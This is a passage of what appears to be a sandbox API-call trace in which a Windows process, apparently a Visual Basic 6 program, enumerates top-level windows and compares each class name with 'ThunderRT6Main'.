GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0085.489] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.489] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.489] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0085.489] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0085.489] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0085.489] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0085.489] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0085.489] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0085.489] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.489] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.489] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0085.489] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0085.489] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0085.489] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0085.489] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0085.489] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0085.489] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.490] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.490] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0085.490] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0085.490] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0085.490] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0085.490] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0085.490] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0085.490] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.490] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.490] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0085.490] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0085.490] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0085.490] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0085.490] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0085.490] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0085.490] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.490] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.490] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0085.490] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0085.490] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0085.490] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0085.490] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0085.490] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0085.490] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.490] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.490] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0085.490] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0085.491] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0085.491] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0085.491] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0085.491] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0085.491] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.491] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.491] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0085.491] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0085.491] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0085.491] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0085.491] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0085.491] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0085.491] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.491] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.491] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0085.491] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0085.491] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0085.491] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0085.491] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0085.491] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0085.491] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.491] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.491] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0085.491] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0085.491] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0085.491] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0085.492] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0085.492] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0085.492] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.492] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.492] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0085.492] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0085.492] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0085.492] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0085.492] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0085.492] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0085.492] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.492] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.492] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0085.492] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0085.492] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0085.492] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0085.492] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0085.492] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0085.492] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0085.492] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0085.492] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0085.492] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0085.492] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0085.492] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0085.492] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0085.493] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0085.493] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0085.493] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0085.493] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0085.493] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0085.493] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0085.493] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0085.493] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0085.493] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0085.493] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.493] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.493] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0085.493] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0085.493] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0085.493] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0085.493] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0085.493] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0085.493] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.493] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.493] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0085.493] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0085.493] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0085.493] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0085.493] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0085.493] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0085.493] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.493] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.494] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0085.494] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0085.494] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0085.494] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0085.494] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0085.494] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0085.494] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0085.494] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0085.494] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0085.494] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0085.494] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.494] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.494] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0085.494] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0085.494] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0085.494] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0085.494] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0085.494] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0085.494] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.494] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.494] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0085.494] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0085.494] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0085.494] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0085.494] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0085.495] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0085.495] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.495] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.495] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0085.495] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0085.495] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0085.495] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0085.495] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0085.495] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0085.495] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0085.495] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0085.495] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0085.495] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0085.495] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0085.495] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0085.495] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0085.495] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0085.495] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0085.495] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0085.495] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0085.495] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0085.495] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0085.495] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0085.495] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.495] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0085.496] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0085.496] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0085.496] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0085.496] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0085.496] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0085.496] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0085.496] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.496] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0085.496] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.496] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.496] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.496] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0085.496] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.496] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.496] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.496] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0085.496] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0085.496] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0085.496] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0085.496] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0085.496] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.496] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.496] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0085.496] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0085.496] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0085.496] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0085.497] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.497] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0085.497] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0085.497] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0085.497] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0085.497] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0085.497] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.497] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.497] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0085.497] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0085.497] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0085.497] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0085.497] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.497] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0085.497] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0085.497] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0085.497] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0085.497] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0085.497] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0085.497] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0085.497] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0085.497] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0085.497] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.497] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.497] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0085.497] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0085.497] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0085.498] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0085.498] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0085.498] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0085.498] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.498] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.498] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0085.498] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0085.498] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0085.498] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0085.498] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0085.498] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x20352 [0085.498] GetClassNameA (in: hWnd=0x20352, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0085.498] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0085.498] GetWindowThreadProcessId (in: hWnd=0x20352, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd6c [0085.498] GetWindow (hWnd=0x20352, uCmd=0x2) returned 0x302d8 [0085.498] GetClassNameA (in: hWnd=0x302d8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.498] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.498] GetWindowThreadProcessId (in: hWnd=0x302d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd6c [0085.498] GetWindow (hWnd=0x302d8, uCmd=0x2) returned 0x302d6 [0085.498] GetClassNameA (in: hWnd=0x302d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0085.498] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0085.498] GetWindowThreadProcessId (in: hWnd=0x302d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd54 [0085.498] GetWindow (hWnd=0x302d6, uCmd=0x2) returned 0x100ec [0085.498] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0085.498] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0085.498] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0085.499] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0085.499] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a0f40 [0085.499] IMalloc:Free (This=0x7fefecb5380, pv=0x76a0f40) [0085.592] GetCurrentThreadId () returned 0xbdc [0085.592] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0085.592] GetDesktopWindow () returned 0x10010 [0085.592] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0085.592] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.592] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.592] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.592] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0085.592] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.592] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.592] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.592] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0085.592] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 